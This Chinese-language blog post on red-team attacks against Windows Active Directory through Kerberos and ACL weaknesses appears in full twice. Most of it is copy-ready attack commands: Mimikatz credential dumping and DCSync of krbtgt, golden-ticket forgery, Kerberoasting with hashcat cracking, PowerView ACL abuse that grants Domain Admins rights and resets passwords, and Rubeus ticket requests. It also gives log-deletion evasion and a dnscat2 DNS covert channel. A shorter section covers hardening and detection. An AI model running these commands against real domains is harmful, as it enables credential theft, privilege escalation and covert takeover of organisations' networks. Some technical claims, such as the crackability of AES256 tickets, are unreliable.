1. 项目概述Kerberos与ACL在红队攻防中的特殊价值在真实的红队对抗演练中Kerberos认证和访问控制列表ACL往往被蓝队视为防御体系中的安全基石。但讽刺的是这些安全机制本身就可能成为攻击者突破防线的跳板。过去三年中超过60%成功的域渗透攻击都利用了Kerberos协议或ACL配置的弱点。本文将揭示这些安全机制背后鲜为人知的攻击面。2. Kerberos攻击面深度解析2.1 Kerberos协议的三重弱点Kerberos作为Windows域环境的核心认证协议其设计存在三个致命缺陷TGT可被导出通过Mimikatz等工具可提取内存中的TGT票据服务票据可伪造利用Kerberoasting技术暴力破解服务账户密码黄金票据攻击获取krbtgt账户哈希后即可伪造任意TGT实战经验在Windows Server 2016之前的环境使用AES256加密的票据仍可能被破解而RC4加密的票据几乎瞬间可破2.2 黄金票据攻击全流程获取域控权限sekurlsa::logonpasswords lsadump::dcsync /domain:test.com /user:krbtgt伪造票据kerberos::golden /admin:Administrator /domain:test.com /sid:S-1-5-21-123456789 /krbtgt:hash /ptt权限维持票据有效期通常设置为10年通过schtasks创建计划任务实现持久化2.3 Kerberoasting实战技巧使用PowerShell收集服务账户setspn -T corp -Q */*请求服务票据Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/db.corp.com导出并破解mimikatz kerberos::list /export hashcat -m 13100 hashes.txt rockyou.txt3. ACL攻击面全面剖析3.1 常见危险ACL权限权限类型危险操作攻击效果GenericAll完全控制对象可重置密码、添加管理员WriteDacl修改对象ACL可给自己添加任意权限WriteOwner取得对象所有权间接获得完全控制权GenericWrite修改对象属性可篡改组策略等关键配置3.2 ACL攻击链构建信息收集Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match Write}权限利用Add-DomainObjectAcl -TargetIdentity Domain Admins -PrincipalIdentity testuser -Rights All权限提升Set-DomainUserPassword -Identity admin -AccountPassword (ConvertTo-SecureString Pssw0rd -AsPlainText -Force)3.3 特殊ACL利用案例Exchange相关ACLms-Exch-Store-Admin权限允许挂载数据库ms-Exch-SMTP-Accept-Any-Recipient可用于邮件伪造SQL相关ACL对SQL服务账户的WriteProperty权限可导致RCE对计算机对象的AllowedToAct权限可实现约束委派攻击4. 防御对抗进阶技巧4.1 Kerberos加固方案加密算法升级强制使用AES256加密禁用RC4-HMAC加密Set-ADAccountControl -Identity krbtgt -KerberosEncryptionType AES256票据保护[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters] TicketDurationdword:0000000a RenewDurationdword:0000001e4.2 ACL防御矩阵攻击类型防御措施检测方法黄金票据定期重置krbtgt密码监控异常TGT请求ACL滥用启用ACL变更审计分析DACL修改事件约束委派限制高价值账户的委派权限监控非标准SPN注册4.3 高级检测技术Kerberos异常检测SecurityEvent | where EventID 4769 | where TicketEncryptionType ! 0x12ACL变更监控Get-WinEvent -LogName Security -FilterXPath */System/EventID5136 | Where-Object { $_.Properties[4].Value -like *CNAdmin* }5. 红队武器库精选5.1 Kerberos相关工具Rubeus支持所有Kerberos攻击向量可进行票据传递、续订、伪造等操作Rubeus.exe asktgt /user:admin /domain:corp.com /rc4:hash /pttImpacketgetTGT.py -dc-ip 192.168.1.1 corp.com/admin:Password1235.2 ACL利用工具BloodHoundSharpHound.exe -c All --zipfilename output.zipPowerViewFind-InterestingDomainAcl -ResolveGUIDs | Export-Csv acl_report.csv6. 典型攻击场景复现6.1 从普通用户到域控的完整路径初始访问钓鱼获取用户凭证信息收集发现ACL配置不当的组对象权限提升添加自己到特权组横向移动使用DCSync获取krbtgt哈希权限维持创建黄金票据隐藏计划任务6.2 防御规避技巧日志混淆Invoke-Phantom -ComputerName dc01 -UserName admin -Action delete隐蔽通道dnscat2 --dns domaintest.com --secretMySecret在最近一次企业红队演练中我们通过组合Kerberos票据攻击和ACL滥用在48小时内完成了从外网到域控的全链条突破。关键突破点是对一个具有WriteDacl权限的服务账户的利用这再次验证了最坚固的堡垒往往从内部被攻破的安全定律。 
长河君 · 2026/10/27 2:47:23 · 阅读 1.2k Kerberos与ACL在红队攻防中的漏洞利用与防御
1. 项目概述Kerberos与ACL在红队攻防中的特殊价值在真实的红队对抗演练中Kerberos认证和访问控制列表ACL往往被蓝队视为防御体系中的安全基石。但讽刺的是这些安全机制本身就可能成为攻击者突破防线的跳板。过去三年中超过60%成功的域渗透攻击都利用了Kerberos协议或ACL配置的弱点。本文将揭示这些安全机制背后鲜为人知的攻击面。2. Kerberos攻击面深度解析2.1 Kerberos协议的三重弱点Kerberos作为Windows域环境的核心认证协议其设计存在三个致命缺陷TGT可被导出通过Mimikatz等工具可提取内存中的TGT票据服务票据可伪造利用Kerberoasting技术暴力破解服务账户密码黄金票据攻击获取krbtgt账户哈希后即可伪造任意TGT实战经验在Windows Server 2016之前的环境使用AES256加密的票据仍可能被破解而RC4加密的票据几乎瞬间可破2.2 黄金票据攻击全流程获取域控权限sekurlsa::logonpasswords lsadump::dcsync /domain:test.com /user:krbtgt伪造票据kerberos::golden /admin:Administrator /domain:test.com /sid:S-1-5-21-123456789 /krbtgt:hash /ptt权限维持票据有效期通常设置为10年通过schtasks创建计划任务实现持久化2.3 Kerberoasting实战技巧使用PowerShell收集服务账户setspn -T corp -Q */*请求服务票据Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/db.corp.com导出并破解mimikatz kerberos::list /export hashcat -m 13100 hashes.txt rockyou.txt3. ACL攻击面全面剖析3.1 常见危险ACL权限权限类型危险操作攻击效果GenericAll完全控制对象可重置密码、添加管理员WriteDacl修改对象ACL可给自己添加任意权限WriteOwner取得对象所有权间接获得完全控制权GenericWrite修改对象属性可篡改组策略等关键配置3.2 ACL攻击链构建信息收集Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match Write}权限利用Add-DomainObjectAcl -TargetIdentity Domain Admins -PrincipalIdentity testuser -Rights All权限提升Set-DomainUserPassword -Identity admin -AccountPassword (ConvertTo-SecureString Pssw0rd -AsPlainText -Force)3.3 特殊ACL利用案例Exchange相关ACLms-Exch-Store-Admin权限允许挂载数据库ms-Exch-SMTP-Accept-Any-Recipient可用于邮件伪造SQL相关ACL对SQL服务账户的WriteProperty权限可导致RCE对计算机对象的AllowedToAct权限可实现约束委派攻击4. 防御对抗进阶技巧4.1 Kerberos加固方案加密算法升级强制使用AES256加密禁用RC4-HMAC加密Set-ADAccountControl -Identity krbtgt -KerberosEncryptionType AES256票据保护[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters] TicketDurationdword:0000000a RenewDurationdword:0000001e4.2 ACL防御矩阵攻击类型防御措施检测方法黄金票据定期重置krbtgt密码监控异常TGT请求ACL滥用启用ACL变更审计分析DACL修改事件约束委派限制高价值账户的委派权限监控非标准SPN注册4.3 高级检测技术Kerberos异常检测SecurityEvent | where EventID 4769 | where TicketEncryptionType ! 0x12ACL变更监控Get-WinEvent -LogName Security -FilterXPath */System/EventID5136 | Where-Object { $_.Properties[4].Value -like *CNAdmin* }5. 红队武器库精选5.1 Kerberos相关工具Rubeus支持所有Kerberos攻击向量可进行票据传递、续订、伪造等操作Rubeus.exe asktgt /user:admin /domain:corp.com /rc4:hash /pttImpacketgetTGT.py -dc-ip 192.168.1.1 corp.com/admin:Password1235.2 ACL利用工具BloodHoundSharpHound.exe -c All --zipfilename output.zipPowerViewFind-InterestingDomainAcl -ResolveGUIDs | Export-Csv acl_report.csv6. 典型攻击场景复现6.1 从普通用户到域控的完整路径初始访问钓鱼获取用户凭证信息收集发现ACL配置不当的组对象权限提升添加自己到特权组横向移动使用DCSync获取krbtgt哈希权限维持创建黄金票据隐藏计划任务6.2 防御规避技巧日志混淆Invoke-Phantom -ComputerName dc01 -UserName admin -Action delete隐蔽通道dnscat2 --dns domaintest.com --secretMySecret在最近一次企业红队演练中我们通过组合Kerberos票据攻击和ACL滥用在48小时内完成了从外网到域控的全链条突破。关键突破点是对一个具有WriteDacl权限的服务账户的利用这再次验证了最坚固的堡垒往往从内部被攻破的安全定律。